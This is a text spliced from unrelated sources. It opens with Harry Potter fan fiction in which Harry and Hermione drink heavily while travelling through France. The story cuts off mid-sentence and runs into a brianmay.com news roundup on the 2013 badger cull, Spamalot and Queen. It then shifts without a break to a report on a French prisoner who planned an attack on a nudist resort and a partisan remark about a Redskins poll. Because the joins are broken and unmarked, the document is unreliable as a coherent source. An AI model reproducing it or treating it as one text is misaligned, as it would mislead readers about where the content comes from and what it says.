"Yeah, the sample rooms were nice." Harry agreed. "Though I'm not sure what we did could actually be classified as'sampling'."
"The guide at that last one did get a bit miffed at us, didn't she?" Hermione asked with a blush.
"Hey, I bought a couple of cases to send to your dad, I don't know what she was complaining about, still I don't think you should have kissed me like that just to freak her out." he grinned sitting back in his chair. "So, we head for Paris in the morning?"
The young woman blushed at the memory of how she had acted in the sampling room and then nodded, "I've already made our reservations. I wish you'd let me pay my way Harry."
"Not a chance," Harry said as the waiter slid their lunch orders in front of them. "Without you along I'd end up eating nothing but fillet of old shoe for every meal. Paying room and board for full time translation services is a bargain." He dug into the fish that Hermione had ordered for them both with the gusto of a starving man.
Hermione blushed again as she recalled precisely what she had reserved, and hoped that Harry would forgive her.
-===oooOOOooo===-
The road stretched out in front of the bike as Harry shifted into his highest gear and just let the machine have its head. This is how life was supposed to be, he told himself as the bike roared past a vacationing British family in their estate car.
Hermione pulled herself tighter to him as she sensed the increase in speed. She had stopped speaking to him half an hour before, and Harry was fairly certain that his best friend had fallen asleep and was actually managing to nap as they made their way North on the A20 heading toward Paris.
Three weeks on this trip already, three weeks in Hermione's constant company he reflected. Quite possibly the best time he had ever had in his entire life... Still, he was going to have to be careful that he didn't ruin everything by being an idiot.
There had been several occasions over the last three weeks when they had both drunk perhaps a bit too much of the wine that the French were justifiably proud of and they had found themselves becoming a touch more affectionate that they normally were toward one another. That time at the winery when Hermione had become extremely affectionate following her fifth glass of wine and had dragged Harry into a janitor's closet. If the guide hadn't done a head count and gone looking for her wayward charges, Harry wasn't all that sure they would have stopped.
It had taken buying three cases of very expensive wine to get the guide to calm down, and Harry hadn't been able to look Hermione in the eye for the rest of the day.
Harry knew that he should never have allowed Hermione to come along on this trip. She was just too damaged by losing Ron, and getting drunk and ending up in bed with him wasn't going to help her in the slightest. Not to mention what it would cost him personally if he lost his best friend in life by thinking with his dick
-===oooOOOooo===-
"How may I help you?" the desk clerk asked having recognized the pair to be English somehow.
"We called ahead and made reservations for two rooms for Potter?" The dark haired man said.
"One room." The brunette corrected standing next to him corrected. "We reserved one room."
"Hermione?" the young man asked, much to the amusement of the desk clerk. It never failed to amuse her how so many women were in control of their relationships when they checked in.
"One room Harry," She took hold of his arm and pulled him close. "That is all we will need."
They finished checking into the hotel without exchanging another word. Harry carried their bags to the elevator and to the room, where Hermione opened the door for him. Once they were within the room and the door closed behind them, Harry stared at the beds in the room for a moment before turned to his best friend.
"What's going on Hermione?"
The girl hesitated for a moment, "when I called, they only had one room available. There are two beds Harry, I trust you."
"No, this isn't right," Harry protested, "this isn't what we talked about."
"Am I that repulsive Harry? So much so that you can't deal with spending the night in the same room as me?"
"Hermione, no... it's just that..."
"All we do in our rooms is sleep anyway Harry. Come on. I'm stiff from being on that damned bike of yours all day. Let's go for a walk and find someplace to eat."
-===oooOOOooo===-
They strolled along the streets of Paris for an hour before they actually settled on a place to eat. Harry continued to stare at the menu trying to decipher just how that name might be pronounced when Hermione ordered for them both, as had become their habit.
The idea of spending the night in the same room terrified him, though he wasn't quite sure why. During the war they had spent most of a year together in less space, more often than not in the same bed, huddled together to share body heat...
Perhaps it had been Ron's presence that made the difference.
Ron.
It still hurt to think about his goofy best friend. There had been times when the two of them had come to blows... the time Harry had waked in on Ron and Hermione making love for example, Hermione had screamed and Harry had made a bad joke to cover his embarrassment, and Ron had clocked him for his trouble.
The part of his mind not paying attention to Hermione and thanking the waiter when the food arrived was amused that Harry truly considered Ron hitting him to be a good time. They were all together then, and while life was terrifying, it was also good.
Well, good when compared to Harry's life with the Dursleys anyway, a thought which again made his inner most self smile.
Together they dug into the main course, Hermione offering him bites from her plate and stealing bites from his in exchange, all the while chattering about the museums and cultural events of the City of Lights and working her way through two bottles of wine. Harry started working himself into a state of mind that would welcome an educational experience.
At the same time Harry reflected on Hermione and her need to keep moving, to avoid pausing to think, because that brought Ron back to her mind. Harry had been half a country away when his first friend died protecting the woman he loved. What Hermione had done to the Death Eater who had killed Ron Weasley was the stuff of legends... and the stuff of Death Eater nightmares.
Harry had rushed to Hermione's side as soon as he heard, and he held the sobbing woman until she couldn't cry any longer. He cajoled her to eat, Harry was the one who started Hermione researching again, and night after night he held her in the dark as she mourned the loss of their friend. Harry's own mourning was saved for when she slept.
Part of Hermione died that day. And Harry wasn't around to help her when she needed him, he hadn't been around to watch his brother's back. Those twin failures haunted him, and likely would for the rest of his life.
The Main course was finished and the waiter brought the dessert cart and another bottle of wine. Hermione selected a large chocolate and ice cream concoction, while Harry satisfied his sweet tooth with a dish called 'Crème Caramel' which turned out to be a kind of custard. It was ok, but he suspected that he could do the same thing better.
His time spent cooking for the Dursleys had to count for something.
Thinking of Ron quite naturally brought Ginny to mind. The vivacious redhead had been lost with the rest of her family when Voldemort marshaled his forces against the Burrow trying to set an example of what happened when someone dared to defy him.
The only surviving Weasleys had been Fred because that night it was his turn to lock up Weasley's Wizarding Wheezes and Fleur because she had chosen that night to return to her parents' home to announce that she was carrying their first grandchild. The Burrow had been utterly destroyed, but the Weasleys made the Death Eaters pay for their victory. More than thirty dead Death Eaters were found on the property when the carnage was discovered.
As he had told Hermione on the first day of their adventure, Harry's relationship with Ginny Weasley had never really progressed beyond the heavy petting of a new fairly intense relationship. The death of Dumbledore had put a halt to their experimentation, and the separation that fighting the war had brought about had all but ended their relationship.
-===oooOOOooo===-
"Harry?"
Hermione's touch on his hand brought Harry back from his musings. "Sorry Hermione, I guess I zoned out there for a minute."
She rose unsteadily from her chair and pulled him to standing. "Let's go for a walk," Hermione gestured out at the street. "Paris is so beautiful at night."
Harry laid a pile of money on the table and the pair made their way from the cafe` out into the street.
There was a reason, Harry observed to himself, that Paris is called the City of Lights. It was also a city dedicated to separating tourists from their money. The pair made their way through the night, marveling at the sights of the city. They stopped in several bars along the way back to their hotel and neither noticed that they had been holding hands for almost the whole time.
-===oooOOOooo===-
By the time they got back to their hotel room, Hermione was very drunk. Harry was fairly buzzed himself, but no where near where his friend was.
She really hadn't wanted to return to the hotel, but Harry had insisted. Upon entering the room, she had thrown herself on the bed and lay still with her eyes closed.
"Whoa! Harry make the room stay still," Hermione giggled hugging herself.
"The room isn't going anywhere Hermione," Harry laughed as he worked at removing her shoes.
"Mr. Potter, we're barely in the room and you're trying to get my clothes off!" she giggled. "My mother was right about you."
"Oh stop," Harry said dryly as |
out nationwide will significantly depend on whether killings have been humane. Defra has sanctioned the night-time shooting of badgers in the two cull zones, but the Guardian reported yesterday that so few have been killed to date, the entire project in its current format is under threat. It reported that officials have even discussed using gassing as a more effective culling method.
The campaign has been led by Queen guitarist Brian May However, such a move would provoke even more fury from welfare campaigners. The Green Party is due to raise an emergency motion on the matter at its annual conference in Brighton tomorrow. They are deeply concerned by a letter sent by Mr Gibbens to the Humane Society International UK on Thursday in which he tried to outline how the cull will be assessed. He wrote: “Ministers will have access to advice from individuals with expertise in these areas [animal welfare and veterinary pathology]. The independent panel includes individuals with such expertise, who will assess the results of the monitoring and report to Ministers. There are, however, no definitive criteria for determining humaneness in this context.” Green Party spokesman on animal issues Caroline Allen, who is a vet, demanded an immediate halt to the cull.
Environment Secretary Owen Paterson believes the cull could eradicate bovine TB She said: “They don’t know how they are going to measure humaneness, so they are not going to be meeting a key objective of the cull. I think as the Government’s chief vet you have to take the welfare of the animals very seriously, and it seems he has neglected to do that.” There have been a number of high profile protests against the badger cull, and the campaign has been spearheaded by Queen guitarist Brian May. Backers of the cull include the National Farmers Union, and last month its president Peter Kendall admitted the cull was "controversial" but added it was needed to deal with the "misery" of dealing with TB on farms. In a letter to members, Mr Kendall wrote: "I know that many of you reading this will have suffered the misery of dealing with TB on farm - some of you for decades - and I hope now you will feel that something is finally being done to stem the cycle of infection between cattle and badgers. Badger control remains a controversial subject and we understand that some people will never agree with controlling badgers in this way. I am confident however that through the combined efforts of farmers, the NFU and government over the last year to illustrate the impact TB has on farms, and the scientific basis for badger control, more people than ever recognise the need to address the disease in badgers." Defra insists the cull is vital for preventing the spread of bovine TB in the countryside. © brianmay.com
LEAGUE VIDEOS 'TO WIN HEARTS AND MINDS'
Direct link **Sat 14 Sep 14**LEAGUE VIDEOS 'TO WIN HEARTS AND MINDS' WESTERN MORNING NEWS
13 September 2013 by Adam Walmesley Campaigners against the controversial killing of thousands of badgers have released new footage from the cull zone, in an effort to win the "hearts and minds" of the public. Leaders of the League Against Cruel Sports joined members of the Somerset Badger Group in the Westcountry at the weekend in a show of solidarity against the badger cull. Footage was released by the animal welfare charity from its visit to the camp in Somerset where badger cull protesters are living.
Joe Duckworth, chief executive of the League Against Cruel Sports, said: "The strength of public feeling against the shooting of badgers in Somerset and Gloucestershire is immense, with individuals from all walks of life coming together to voice their opposition and help look out for our black and white friends." Around 500 people marched through Taunton on Saturday in a peaceful protest against the cull currently taking place in Somerset. Adrian Coward, of the Somerset Badger Group, said: "We're all about trying to win hearts and minds. We know the Government won't listen to science, won't listen to political pressure, and is trying to ignore public opinion. What we're trying to do is to make them realise we're winning hearts and minds. People who really care about what is happening have got very, very angry." The charity said it made the film to demonstrate the "overwhelming opposition" to the cull and its determination to fight the Government's "ludicrous" policy. Mr Duckworth added: "The successful rally and on-the-ground badger groups and patrols demonstrate just how determined people are, and like us are not prepared to take this policy lying down." An online petition started by Queen guitarist Brian May against the culls has collected around 300,000 signatures to become the most signed on the official Government website. Mr [Dr] May said: "It remains a clear indication of the depth and continued growth of public outrage over Environment Secretary of State Owen Paterson's plan to kill thousands of badgers in the UK." Mr Duckworth added: "The one lesson I've learned [from the cull zone trip]: these badger patrols and the other work going on in the cull zones is working. It is deterring the shooters and perhaps saving badgers' lives." © brianmay.com
**Sat 14 Sep 13**
PARODY - WHAT DOES THE FOX SAY?
Direct link Watch out for the Queen re Ylvis - The Fox Animation Parody - http://youtu.be/sBCCjhK2CAg Thanks Lihay Kalvo © brianmay.com
**Sat 14 Sep 13**
BEHIND THE SCENES AT SPAMALOT - WIITH BRIAN MAY
Direct link Brian May 'Behind the scene of Spamalot' 9-14 Sep 2013 - http://youtu.be/wWzim9AiRxo BRIAN MAY: I love the show. I've seen it a few times. The opportunity to play 'God' has got to be something which you can't posibly pass up, isn't it? BRIAN: The lute's pretty... it's fun. MEMBER OF PRODUCTION TEAM: I think it's fun. It's rather good actually. BRIAN: It says something, doesn't it? I don't know what it says. It's always an attraction to get on stage and try and be someone else. It's the kind of thing which we grow up with - let's pretend - and I have to say, it's stil magic to me. GOD: Arthur! Arthur, King of the Britons! All the money that I make will go to Save Me, the charitabe side of it, which is really only to do with rescuing wild animals. We wil have no wildlife left. GOD Sorry. All you English people always say sorry. It's a wonderful show. It's very much up to the minute. It doesn't date at all and I recommend everybody to see it at least five times. © brianmay.com
**Fri 13 Sep 13**
PRESS RELEASE: VACCINATION SEMINAR
Direct link BADGER TRUST
13 September 2013 We would like to advise you of a forthcoming seminar at ZSL London Zoo., entitled Vaccination in the control of Bovine TB. It will be held on October 3rd. Chairing on the day will be Jon Snow and Professor David McDonald. The one-day event, with speakers who are leading experts from academic, government and charitable organisations, will explore the principles behind vaccination and practical use in the field.
Principal topics will include:
- How vaccines work at the individual and population levels.
- Recent uses of vaccination for disease control and elimination in wild and domestic animals.
- Practical low cost deployment of injected badger vaccination.
- Development of oral badger vaccines.
- Current status and prospects for cattle vaccination against Bovine TB.
- Followed by discussion and debate with a panel drawn from the main speakers and other experts.
Programme and registration here. Dave Williams - Chairman © brianmay.com
**Fri 13 Sep 13**
BADGER CULL: GOVERNMENT REFUSES TO DENY MARKSMEN FAILING TO MEET TARGET
Direct link GUARDIAN
13 Sepember 2013 A minimum of 2,081 badgers must be killed in Somerset but sources say less than 100 have been shot in two weeks VIDEO: On the trail of the marksmen Gordon McGlone‘s insight:
This news should not be greeted as a victory for opponents of the badger cull for two reasons. Firstly there will be no winners from this messy politics led policy; badger culling will make bovine TB levels higher whilst at the same time confounding the beneficial effects of the full range of other tools in the Defra tool shed. Secondly there is already pressure to either extend the pilot cull licence period and use other control measures.
This article mentions badger gassing. I well remember this from the 1980s when gassing was dropped on the grounds of the lingering inhumane deaths that badgers suffered. This tawdry tale of politics over policy will contine for a while yet. See on www.theguardian.com © brianmay.com
DISTURBING READING FROM FARMERS GUADRIAN:
TB STRATEGY 'FUTILE WITHOUT NATIONAL BADGER CULL'
Direct link **Fri 13 Sep 13**DISTURBING READING FROM FARMERS GUADRIAN:TB STRATEGY 'FUTILE WITHOUT NATIONAL BADGER CULL' FARMERS GUARDIAN
13 September 2013 By Alistair Driver Farmers and vets gathered in Worcester to discuss Defra’s 25-year TB strategy. ALISTAIR DRIVER reports from a vocal meeting. THE verdict was unequivocal and virtually unanimous when farmers and vets gathered to discuss Defra’s draft 25-year bovine TB strategy for England near Worcester last Friday. There is no point, they told Defra officials again and again, placing more cattle measures and costs onto farmers until they are able to control disease spread in wildlife on a national scale. Gloucestershire dairy farmer Rob Harrison summed up the mood: “Badger control in endemic areas has to come first. That is absolutely the key. It will unlock the potential of the rest of the TB strategy and will make TB controls work within the UK. That is how you build trust in the farming community.” In the third in a series of 10 regional meetings across England, about 30 ‘stakeholders’, spread over four tables, were encouraged by moderators to discuss the various elements of the draft strategy, particularly in relation to the High Risk Area (HRA) they are part of. Views were sought at the prospect of more stringent testing procedures such as compulsory post-movement testing, much greater use of the more sensitive gamma interferon blood test and banning the short-interval test as a pre-movement test. The spectre of ‘enhanced use of depopulation and controlled restocking of herds with ongoing and recurring breakdowns’ was raised. Risk-based trading There were mixed views on the introduction of voluntary risk-based trading, which has already been decided. Some welcomed the provision of more cattle health data for buyers and the opportunities it will provide for historically clean herds in the HRA. Other feared non-compliance from farmers. Defra officials, while denying the strategy was driven by the need to save money, explained how the department’s animal health and welfare budget was due to be cut from £244 million to £199m in 2014/15, with further reductions to come. Farmers will therefore have to contribute more. This could be through, for example, paying more for routine TB testing, which is being tendered out to the private sector to increase competition. Defra also wants to cut its TB compensation bill. Concern was expressed about the suggestion to link compensation to biosecurity. How would this be measured? And how could it be done fairly where wildlife is a factor in breakdowns? To formalise cost-sharing of TB policy, there will be moves, as the strategy is implemented, to encourage, or force, farmers to contribute through some sort of levy, mutual fund or voluntary subscription. Mr Harrison said a national compulsory levy on all cattle owners was the only sure-fire and practical way to raise funds. Others insisted contributions must be voluntary. Linked to this are moves, based on the New Zealand model, to establish regional farmer-led eradication boards, possibly at county level in hotspot areas, to set and deliver policy appropriate to local conditions. While there was support for the regional committees should feed into an overarching national industry-Defra TB body, more appeared to be in favour of regional autonomy, citing, in one tongue-in cheek comment, distrust of the ‘idiots in London’. But throughout all the discussions one theme raised its head again and again, however hard the moderators tried to steer away from it - the futility of any TB strategy in the absence of credible means to protect cattle from disease spread by wildlife. Summing up his table’s views, Shropshire vet Alistair Macpherson said: “There is broad agreement that farmers have basically had enough. They see no end to it if they can’t control badgers. 25-year plan “A 25-year plan is way too long. We want a five-year plan and even that is too long. Our own clients will pretty much accept any measures Defra put in place if they are given a free run on the badgers. Get away from the cull pilots, just get on with it.” South Shropshire vet Benno Veestra said tougher cattle measures will simply not work without parallel national badger controls. “Nobody is going to be willing to co-operate unless you control the wildlife reservoir. There is nothing at all in it for the farmer,” he said. Mr Harrison added: “We have spent the last 20 or 30 years trying to address the disease in the cattle population but made hardly any progress. There is a lack of trust between farmers and Government and by starting on wildlife control and management over the next few years will give farmers more trust in Government and faith in their plans to tackle this terrible disease.” These sentiments, echoing those voiced at previous stakeholder meetings in heavily infected areas, create a headache for Defra Secretary Owen Paterson and his department. The draft strategy outlines plans for ‘wider roll out’ of the badger cull to up to 10 new areas from 2014, subject to successful pilots, now underway in Gloucestershire and Somerset. There is also a commitment for research into new longer-term measures to control disease in wildlife. This includes trials of different culling methods, like gassing, development of PCR technology for testing badger setts, further research on an oral badger vaccine and even injectable badger contraception. Defra Secretary Owen Paterson has described the start of the pilot culls as a ‘turning point’ for how bTB is controlled in England and urged farmers to have faith in his plans to roll out the policy. Mr Paterson stressed 25 years was a ‘realistic’ timetable. Yet, despite his clear commitment to the policy, many farmers and vets in the HRA, in some cases their attitudes shaped by a long-standing lack of trust in any Government to act on this issue, still have no confidence the disease will ever be truly addressed in wildlife on a national scale. They fear the national roll out will take too long, particularly for areas currently at the back of the queue. In many cases, they want farmers to have a much greater say over wildlife management at local level, without the ‘onerous’ conditions attached to the pilot culls, something Defra has argued is neither politically, nor legally possible at the current time at least. “Just let us get on with it,” one farmer said. Biosecurity It was not all about culling. Alan Hughes, a farmer from near the Welsh border, called for greater support for initiatives like his own ‘TB Busters’ initiative, which, in conjunction with Bicton College, in Devon, and the South West TB Advisory Service, offers biosecurity advice and help to farmers to help them keep badgers away from their cattle. It is currently conducting trials on various pieces of equipment, including feed troughs, water troughs, wire fencing and mineral lick holders, to help farmers ‘badger proof’ their farms. Mr Hughes believes there is scope for some sort of assurance scheme for farmers who achive certain accredited biosecurity standards. There was also discussion around the viability of badger and cattle vaccination and badger contraception. Summarising his tables’ views, another farmer concluded: “If you start to get on top of it in the wildlife in a science-based approach you would get the confidence of farmers on side and the rest of the industry will follow.” Defra officials said the comments from the meeting would be made into a report and fed into the ongoing consultation on the strategy. Those who attended in Worcester were glad to have been given the chance to air their views. “The only question now,” one told me as he left, “is whether they will take a blind bit of notice.” TB strategy workshops TB strategy workshops were held in Somerset, Cornwall and Worcestershire last week and East Sussex, Oxfordshire, Leicestershire and Staffordshire this week. The last ones are scheduled for: Norwich, Norfolk, September 16
Kendal, Cumbria, September 18
Thirsk, North Yorkshire, September 19 The consultation on the draft TB strategy for England closes on September 26. To view the document and respond see https://consult.defra.gov.uk/farming/tb/ © brianmay.com
**Fri 13 Sep 13**
FAILING BADGER CULLS COULD BE EXTENDED
Direct link THE TIMES
13 September 2013 Badger culls could be extended if marksmen fail to kill enough animals in the planned six-week period, under a Government contingency plan to ensure the trials are completed. The possibility of prolonging the culls emerged as reports claimed that the one in Somerset had fallen behind schedule, with fewer than 100 badgers killed in the first ten days. Any extension would add to the £4 million estimated bill for policing the two culls. Shooting began in west Somerset on August 26 and in west Gloucestershire a week later. The two pilot culls have been licensed to test whether “controlled shooting” can be carried out effectively, humanely and safely. If the trials are successful, culls are expected to be licensed in many other areas affected by bovine TB from next year. In order to achieve their target of killing 5,000 healthy or diseased badgers in the trials, marksmen should by now have shot more than 700 badgers in Somerset alone. Derek Mead, a farmer from Westonsuper-Mare, wrote in theWestern Morning News that he had been told that by the middle of the second week of the Somerset cull fewer than 100 badgers had been killed. The same newspaper quoted a source saying: “They are having major problems. Only three or four badgers are being shot every day. It is just a case now of who gets the blame.” If the figures are correct, the pilot culls could fail the “effectiveness” test set by the Department for Environment, Food, Agriculture and Rural Affairs (Defra). Companies set up to conduct the culls have been set a target of killing 70 per cent of badgers inside culling zones within six weeks. Cutting the population quickly is thought to be essential to minimise the risk of diseased animals leaving the area. Defra is understood to have accepted that the licences might need to be extended if circumstances, such as interference by animal rights protesters, prevent marksmen from reaching the required target within six weeks.Extending the cull would mean marksmen were more likely to contend with adverse weather, but Defra believes that an extension could be preferable to failing to meet the target. Ian Johnson, a spokesman for the National Farmers’ Union, which backs the cull, said that talk of failure was premature. “It is a pilot cull, therefore we can’t fully assess the effectiveness of it until it is completed,” he said. The RSPCA, which opposes the cull, called on Defra to reveal the number of badgers shot. A spokeswoman said: “We would be very interested to find out but for some reason they don’t want to tell us.” © brianmay.com
**Fri 13 Sep 13**
THE OFFICIAL SECRECY AROUND THE BADGER CULL IS ANTI-DEMOCRATIC
Direct link THE GUARDIAN
12 September 2013 by Patrick Barkham Defra and Natural England monitors are silent about the culling – so how can we be sure it is being carried out properly? Link to video:
Badger cull in Somerset: on the trail of the marksmen I was pulled over by police twice in the space of 20 minutes last week for being "intimidating". The second time officers said they had received a call from a member of the public who felt harassed by me. This member of the public was a large bloke driving a pick-up truck which was almost certainly laden with a high-calibre rifle. I was in a people carrier, armed only with a torch. He was enjoying an evening of paid employment killing badgers. I was enjoying an evening of paid employment seeking to discover a few details about the offensively secretive badger cull currently unfolding in the English countryside. In an incident entirely typical of this cull, the gunman was helped to do his job by the police, who conveniently prevented me from doing mine. On both occasions, officers held me for far longer than it was necessary, to establish I was not breaking any law. This delay enabled the badger cullers to drive away into the darkness and continue their work without having to suffer the terror of a journalist politely stammering, "Excuse me sir, how is the badger cull going?" We are being kept in the dark over the badger cull, an important and expensive policy which is designed to reduce bovine TB in cattle. There are rational arguments that can be made in favour of this slaughter of 5,000 badgers, but the secrecy with which it is being conducted is suspicious and scandalous. Defra won't release any details about how it is being carried out. When they are forced to by freedom of information requests, it is so heavily redacted it is meaningless. The National Farmers Union won't answer questions about the cull; neither will Natural England nor the expert independent monitors – respected academics tasked with assessing the efficacy, safety and humaneness of it. It is impossible to shine any light on the cull, in west Somerset at least. I've visited for five days and long nights in the last two months and the marksmen won't talk about it, the farmers won't talk about it, and when you ask local people, anyone who supports it behaves with the kind of bashfulness last seen in the late 1990s, when it was shameful to publicly admit to voting Conservative. Even the landscape is secretive: vast tracts of crown land and hidden valleys with nothing but a dead end road and lonely farmhouse, with a tractor and trailer pulled across the farmyard for protection. I understand why some farmers have good reason not to talk about the cull. I met a farmer's wife whose eyes filled with tears as she described months blighted by threatening phone calls from anti-cull activists. I spoke to a farmer who received three arson attacks soon after publicly declaring his support for the cull. Farmers have families and often live in isolated spots where they feel particularly vulnerable. These fears have to be respected. But farmers in the cull zone are doing themselves a huge disservice with their silence. Country dwellers complain how city types are utterly ignorant of their way of life, but without farmers' voices it is impossible for the public to understand their point of view – and the valid, persuasive reasons they may have for supporting a cull. It is a shame that they feel scared because I have also met many of the anti-cull activists and found them to be the gentlest people you could encounter on a dark night in the countryside. The scariest one is a skinny 6ft 4ins vegan with a rape alarm which is set off in the middle of empty fields in the vain hope of scaring distant badgers away from harm. A man carrying a gun who knows how to shoot it and is kitted out with infrared night-vision appears far more of a threat. At this stage of the cull, the people who really should be speaking, however, are the Defra and Natural England monitors. This is supposedly a pilot cull but we do not have any information about how many badgers have been killed so far, how many have been injured, how the marksmen are ensuring clean kills, who is checking the badger body bags, how fiddling the figures or fraud will be prevented, whether there have been incidences of "unofficial" culling, and many other important details. With no clue about the monitors' way of working, how can we be sure they are doing these proper checks? I hate secrecy; everyone in a democracy should. People misbehave when they know they are free to act without scrutiny. The main reason for it in this situation is simple: the cullers know only too well that no amount of reassuring information about the cull's efficiency, humaneness or safety can disguise the fact that badgers are being shot dead and most of the country finds this distressing and would like it to stop. The only thing that was not secretive in paranoid Somerset last week was Britain's most elusive mammal. I saw five badgers roaming the countryside after dark: more than any monitors or marksmen. If they are to survive, they'll have to learn their opponents' habit of secrecy, and fast. © brianmay.com
**Fri 13 Sep 13**
BADGER CULL HUMANENESS DISCUSSED ON BBC RADIO GLOS 11/9
Direct link Badger Cull Humaneness? Mark Jones Executive Director of The Humane Society
discussing DEFRA's failure to provide assessment criteria documentation
- with Steve Kitchen BBC R.Glos 11/92013/ 5pm
- © brianmay.com
**Wed 11 Sep 13*
BRIAN ON "MADE IN HEAVEN 2"? - FULL TRANSCRIPT
BRIAN & ANITA WITH iHEART RADIO AT FFAD
Direct link Interview at One Mayfair - Fredie For A Day 2013 event: KEVIN HUGHES (iHEART RADIO): Brian - a very special night - Freddie's birthday - a big fund raising night - how are you feeling? BRIAN MAY: Indeed. i - I feel good, yeah. You know it's always mixed feelings, you know, but celebrating Freddie's birthday is fine with me and I'm sure it's something he would be happy with you know, and it makes a great difference for the AIDS cause, doing it as well. We make tons of money, which helps people all around the world with AIDS. And yeah, it's good…. it generally goes very well, doesn't it. I think it's the third one we've had and, yeah, generally a very good feeling and it's great that people volunteer their services - Roger Daltrey doing it this year, and Tom from Keane, you know, and Mel C, so it's great. It's actually growing, I think, which is nice. KEVIN: So many friends in the room as well, Anita, which must make it extra special. ANITA DOBSON: It does and great to see how people have spent such time in their clothes. I mean, they look FANTASTIC!! Fred would have loved it. He would have loved it - and it's great that every year we celebrate that he was a wonderful human being and a great singer. KEVIN: Do you love seeing the pictures around the world, Brian, of Freddie For A Day? BRIAN: Yeah, it's nice fun, I think. It's a focus for the fans, you know. It's nice. I think we'd all love to be Queen, but you can't really do it (laughs) without Freddie, you know, so it's nice to do these kind of occasions, and you know I think it's a good feeling all round. KEVIN: I know you've been a very busy man in the studio of late and the fans are very excited about what might be coming at the end of this year. What are you allowed to tell us, Brian? BRIAN: Queenwise - well you know the funny thing is we did the Made In Heaven album and we thought we'd exhausted everything that was around that could be worked on, but since then a number of things have come to light from various sources that we just plain forgotten about, including the stuff with Freddie and Michael Jackson, and there's quite a few other things. so finally, just a couple of weeks ago, we thought, "Hmm, maybe we shouldn't be just doing odd bits and pieces. Maybe we should be heading towards an album." So it just might be. I don't want to say more definitely than that, but you know, we're sort of thinking Made In Heaven 2 in a sense, although it wouldn't be called that. But there is a lot. It's surprising how much has come to light and it gives you a chance to go back in there, you know, open the box again, and some of the magic may come out. KEVIN: Exactly. We're all excited. You've spoken as well about the Michael Jackson record. It is coming, is that right? What can you tell us about the release? … BRIAN: It all sounds great. The Michael Jackson stuff is complicated. I don't wanna say too much about it, but obviously we have to deal with Michael's estate as well as Freddie's estate, you know. We don't know when we'll get permission to put that stuff out. It needs everybody's permission before it can go. KEVIN (indistinct) … voices on one record. BRIAN: Yeah, it's nice. There's two, both really nice, and there might possibly be another one. S'funny how these things come, you know. You think "Oh no, there's nothing more" and then "Oh no, what's that then?", you know. And there's a track, well I don't wanna say too much, you know. A couple of things have come to light. There's something I've been working on last couple of weeks which I'm very excited about and I don't think anybody out there will remember this track. It was done in a completely sort of offshore kind of way and so we're doing it in a very different kind of way from the way it was put out at the time. So yeah - lots of good stuff. (laughs) KEVIN: Good to see you, Brian. There was one news question, which is are you still loving the reaction to the campaign for the badger culling. Are you any update on where you are at… BRIAN: Ah.. well. I love the reaction, yes, but it's a very very awful, tragic time, because you're not seeing it in the papers really - it's not really being reported. I don't know. You know I'm very aware that the papers and the media in general are very much gagged by the Government. I mean we're in a terrible situation and the Government are trying to bring more laws in to stop protesting and to stop, you know, free speech, and it's a very serious situation. So what's happening in the country is a blood bath. It's just too awful to go into details about. You know the badgers are suffering terribly. There are a lot of great people out there, totally peaceful, in a sense, making their point of view known, but also rescuing some of the wounded badgers that run away. It's a disaster. It is such a tragic disaster and it has to be stopped. KEVIN: Anita, you're looking fabulous. ANITA DOBSON: Thank you very much. Not bad for an old 'un. (laughs) KEVIN: Whatever…… (laughter) Go on, it can be a bitter sweet night but I wish you both a very exciting … and obviously raise lots of money tonight. ANITA: Thank you very much. KEVIN: Thank you. BRIAN: Thank you very much. Nice talking to you. KEVIN: Thank you. BRIAN MAY; Say "Hi" to Heart. Brian and Anita were interviewed by Kevin Hughes of iHeart Radio. Brian May & Anita Dobson talk to Kevin Hughes iHeart 5 Sept 2013 - Made In Heaven 2?
- http://youtu.be/aZZ8_mfglH4 © brianmay.com
**Wed 11 Sep 13**
QUEEN GUITARIST BRIAN MAY 'FACED DEATH' AT GLOUCESTERSHIRE BADGER CULL
Direct link CHECKOUT SOAPBOX + here, here and here The Citizen
11 September 2013 Queen guitarist Brian May has written about how he came 'close to death' while supporting badger cull protesters in Gloucestershire.
Writing on his Soapbox page and here, here, here - Dr May describes the trial badger cull as 'insane.'
?
Brian May with anti-cull protesters in Gloucestershire Yesterday Defra insisted the trail cull was necessary and wasn't designed to 'wipe out badgers' saying if we don't act now to stop the spread of bovine TB, the consequences for farming would be devestating. © brianmay.com
**Wed 11 Sep 13**
BEING GOD: YOU CAN'T BEAT IT
Direct link Brian May was the latest celebrity to make a guest apearance in West End show Spamalot, at the Playhouse Theatre in which he played God. The rock star and badger enthusiast was delighted to be asked. "The opportunity to play God has got to be something that you can't possiby pass up. I really, really didn't want to stop," he said. "Once you've played God, nothing else will match up to that experience and I can quite understand what's happened to David Cameron."
The I - 11 Sept 2013 © brianmay.com
**Wed 11 Sep 13**
EVEN MORE SPAMALOT
Direct link Go see Spamalot at The Playhouse, West End, London - Brian is 'God' on screen for the week from Mon 9/9. Fabulously, hilariously funny. Best laugh in years. TICKET LINK HERE
Les Dennis, Brian May & Anouska Eaton, Mon 9 Sept 2013 Les Dennis tweeted:
@dennis_les Honoured to have shared the stage with Rock God @DrBrianMay and Lady Of The Lake Anushka Eaton. Thank you Les and cast - you were wonderful. © brianmay.comThe man had said that he wanted to attack the famous Cap d'Agde nudist colony on the coast of southern France, the Midi Libre newspaper reported.
Other inmates reported the man to authorities after he confessed his desire was motivated by the fact he did not like the "naked arses" of the nudists at Cap d'Agde.
The inmates also accused the convicted man of proselytism (attempting to convert others to his religion), anti-Semitism, and for being extremely noisy with his calls to prayer.
On the very day he was set to be released a court in Beziers, southern France, ruled this week to extend the man's sentence by six months, just days before he was supposed to be released.
The man had been sentenced in October to a year in prison for glorifying terrorism after his gun-themed kebab restaurant in southern France's Beziers triggered police concern
His entire restaurant - Toubib Burger - appeared to be an homage to weaponry, with the T in the shop's name resembling a Kalashnikov.
The menu was no better, with one option named K-Lach - an apparent reference to the the Russian firearm Kalashnikov - and another called M16.
The convicted man, who is in his mid forties, converted from Catholicism to Islam and is a known acquaintance of Mohamed Merah, whose shooting spree in and around the southern city of Toulouse left seven people dead, reported Europe 1.
The man had been sentenced to prison previously after he was found to be in possession of six kilogrammes of cannabis, two assault rifles, and a handgun.
Before his arrest, the man had been known to "like" Islamist propaganda videos on Facebook.A poll for the Washington Post finds that 90 percent of Native Americans are not offended by the name of the Washington Redskins football team.
Thus ends the great Social Justice Warrior crusade of yesterday. Before liberals began absurdly touting transgender bathroom access as the equivalent of the civil-rights movement, they were convinced the Republic would fall, if the Redskins didn’t change the team name immediately.
